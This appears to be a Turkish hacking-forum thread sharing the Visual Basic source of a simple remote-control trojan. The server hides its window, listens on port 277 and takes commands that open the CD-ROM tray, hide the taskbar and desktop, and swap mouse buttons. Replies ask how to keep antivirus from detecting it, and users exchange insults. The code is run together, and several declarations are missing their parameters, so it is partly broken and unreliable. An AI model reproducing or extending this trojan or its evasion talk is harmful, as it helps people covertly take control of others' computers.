Edit, eski ve sacma bir mesaj :=)@truvaolur sanirim nie olmasin The king is bleeding.

Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdır- zellikler : Command 1 Bağlanmak için Command 2 Cdromu açmak için Command 3 Cdromu kapatmak için Command 4 Başlat çubuğunu GsterCommand 5 Masaüstünü SaklaCommand 6 Masaüstünü GsterCommand 7 Başlat Çubuğunu SaklaCommand 8 Mouse Sağ el hakim olsun Command 9 Mouse Sol el Sahip olsun Command 10 Mesaj YollamaText 3 Mesaj metni Text1 ip Yazılacak kısım Tex4 Bağlantı Gstergesi JohnSysinfo eklemeyi de unutmayın servera bu da nemli cdRomu açamazsınız yoksa Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayınClient Private Sub Command1_Click Winsock. CloseWinsock. Connect Text1. Text, 277End SubPrivate Sub Command10_Click Winsock. SendData "Message= Text3. text"DoEventsEnd SubPrivate Sub Command2_Click Winsock. SendData "Cdopen"DoEventsEnd SubPrivate Sub Command3_Click Winsock. SendData "Cdclose"DoEventsEnd SubPrivate Sub Command4_Click Winsock. SendData "showtask"DoEventsEnd SubPrivate Sub Command5_Click Winsock. SendData "hidesk"DoEventsEnd SubPrivate Sub Command6_Click Winsock. SendData "showdesk"DoEventsEnd SubPrivate Sub Command7_click Winsock. SendData "hidetask"DoEventsEnd SubPrivate Sub Command8_Click Winsock. SendData "getmouse"DoEventsEnd SubPrivate Sub Command9_Click Winsock. SendData "leavemouse"DoEventsEnd SubPrivate Sub Timer1_Timer On Error Resume NextText4. Text = Winsock. StateEnd SubPrivate Sub Form_Unload Winsock. CloseEndEnd SubPrivate Sub winsock_connect Text4. Text = "Connected!"Form1. Caption = "RedFrog Trojan Connected"Command1. Caption = "Connect New"End Sub 0Server 0Option ExplicitPrivate Declare Function SetWindowPos Lib "user32" As LongPrivate Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPrivate Declare Function ShowWindow Lib "user32" As LongPrivate Declare Function FindWindow Lib "user32" Alias _"FindWindowA" As LongConst SWP_HIDEWINDOW = &H80Const SWP_SHOWWINDOW = &H40Private Sub Form_load server. LocalPort = 277server. ListenMe. HideEnd SubPrivate Sub server_connectionrequest server. Closeserver. Accept requestidEnd SubPrivate Sub server_DataArrival Dim tmpData As Stringserver. GetData tmpDataSelect Case tmpDataCase "Cdclose"JohnSysInfo1. CDRomDoor = FalseCase "Cdopen"JohnSysInfo1. CDRomDoor = TrueCase "showtask"Timer1. Enabled = TrueTimer1. Interval = 10Timer2. Enabled = FalseCase "hidetask"Timer2. Enabled = TrueTimer2. Interval = 10Timer1. Enabled = FalseCase "hidedesk"Timer3. Enabled = TrueTimer3. Interval = 10Timer4. Enabled = FalseCase "showdesk"Timer3. Enabled = FalseTimer4. Enabled = TrueTimer4. Interval = 10Case "getmouse"JohnSysInfo1. UseLeftHandMouse = FalseCase "leavemouse"JohnSysInfo1. UseLeftHandMouse = TrueEnd SelectEnd SubPrivate Sub timer1_timer Dim Thwnd As LongThwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)End SubPrivate Sub timer2_Timer Dim Thwnd As LongThwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)End SubPrivate Sub timer4_timer Dim hWnd As LonghWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)ShowWindow hWnd, 5End Sub Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

Bu şimdi antilere yakalanıyordur dimi.. Yakalanmaması için ne yapacaz bana sakın antidoteyi kullan deme.. içine kod falan yerlestirilir mi? Yakalanmaması ıcın yerlestırılıyosa nasıl bı kod koymak lazım?

Tamam kardeşim sen işine bak. Sen kendine gre haklısın. Burdan yararlanmak isteyenler yararlansınlar Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

Hoca Madem yazmıssın johnsysinfonun ne oldunuu nerden bulunacagınıda bi sle herkes rensin. The king is bleeding.

dostum rnek kodları varsa yollayabilirmisin?kriptontr gmail.com

:En üste bak bakalım ne yazıyor >> Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdırjohnsysinfo ya gelince. Bunların genel adı componentdir. Project menüsünden components a gir orada grdüğün herşey component dır. Oralara bak bulursun ordaHoca bana visual basic mi retiyon?Muhaa.. Bilmiyodum component diye bise varmıs aaaaaaa.. Bensana sadece johnsysinfo componmentini bulmanı istedim, alıntı yazdıınıı grmemisim pardon The king is bleeding.

Mailine attım kriptontr. Sana gelince gver arkadaşım bilip bilmemen beni ilgilendirmez. Kullanıyorsan kullan kullanmıyorsan da yorum yapma. Sorunu da adam gibi sor Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

:gVeR bunu yazdı: Sen kimsin ertan, benim adamlıımla urasıyon, dangalak herif sende tüm mesajları alıntı olan dallamalardansın grünen bi daha hakkımda bise yaz yiyosa skerim derini akıllı ol, bise yapıyosan doru düzgün yap bari... Bu arada truvaa yazılır herhalde niye yazılmasınki?Bak arkadaşım terbiyeli ol. Ben üretken bir insanım bunu bil. Ama kendim yeni birşey ğrendim mi veya yaptım mı bunu da paylaşırım. Yakında iki program gndereceğim. O zaman anlarsın. Eğer istemiyorsan yorum yapma. Okumu ma da. O zaman adam gibi sle bizde senin adamlıgını bilelim. Yorumlara açık olmalısın, yoksa bi b k yapamazsın hiç bi zaman. Ayrıca yolladıın program kodları beni ilgilendirmiyo istersen planet-source-code deki tüm kodları yaz, bananeki?! Ben ilk basladıımda bu koddaki johnsysinfo yu bulamamıstım bakanlar anlamaz belki diye dedim her seyi g tunden anlamak gerekmiyor ama yle de yapmaya devam edebilirsin.. The king is bleeding.

Peki vb. net de trojan yazılabilir mi?

En üste bak bakalım ne yazıyor >> Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdırjohnsysinfo ya gelince. Bunların genel adı componentdir. Project menüsünden components a gir orada grdüğün herşey component dır. Oralara bak bulursun orda Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

Vallahi hocam antivirus bunu trojan olarak algılar mı bilmem. Eğer algılarsa elbette ki kod yazılacak ama bu kodu yazmak herkesin harcı değil yanii. Sen bir açık bulursun antivirus şirketleri kapatır. Byle devam eder işte. Yani o kodu kendin geliştirmen gerek. Tabii çook çalışmak geriyor hocam çook Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

:Sen kimsin ertan, benim adamlıımla urasıyon, dangalak herif sende tüm mesajları alıntı olan dallamalardansın grünen bi daha hakkımda bise yaz yiyosa skerim derini akıllı ol, bise yapıyosan doru düzgün yap bari... Bu arada truvaa yazılır herhalde niye yazılmasınki?Bak arkadaşım terbiyeli ol. Ben üretken bir insanım bunu bil. Ama kendim yeni birşey ğrendim mi veya yaptım mı bunu da paylaşırım. Yakında iki program gndereceğim. O zaman anlarsın. Eğer istemiyorsan yorum yapma. Okumu ma da. Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...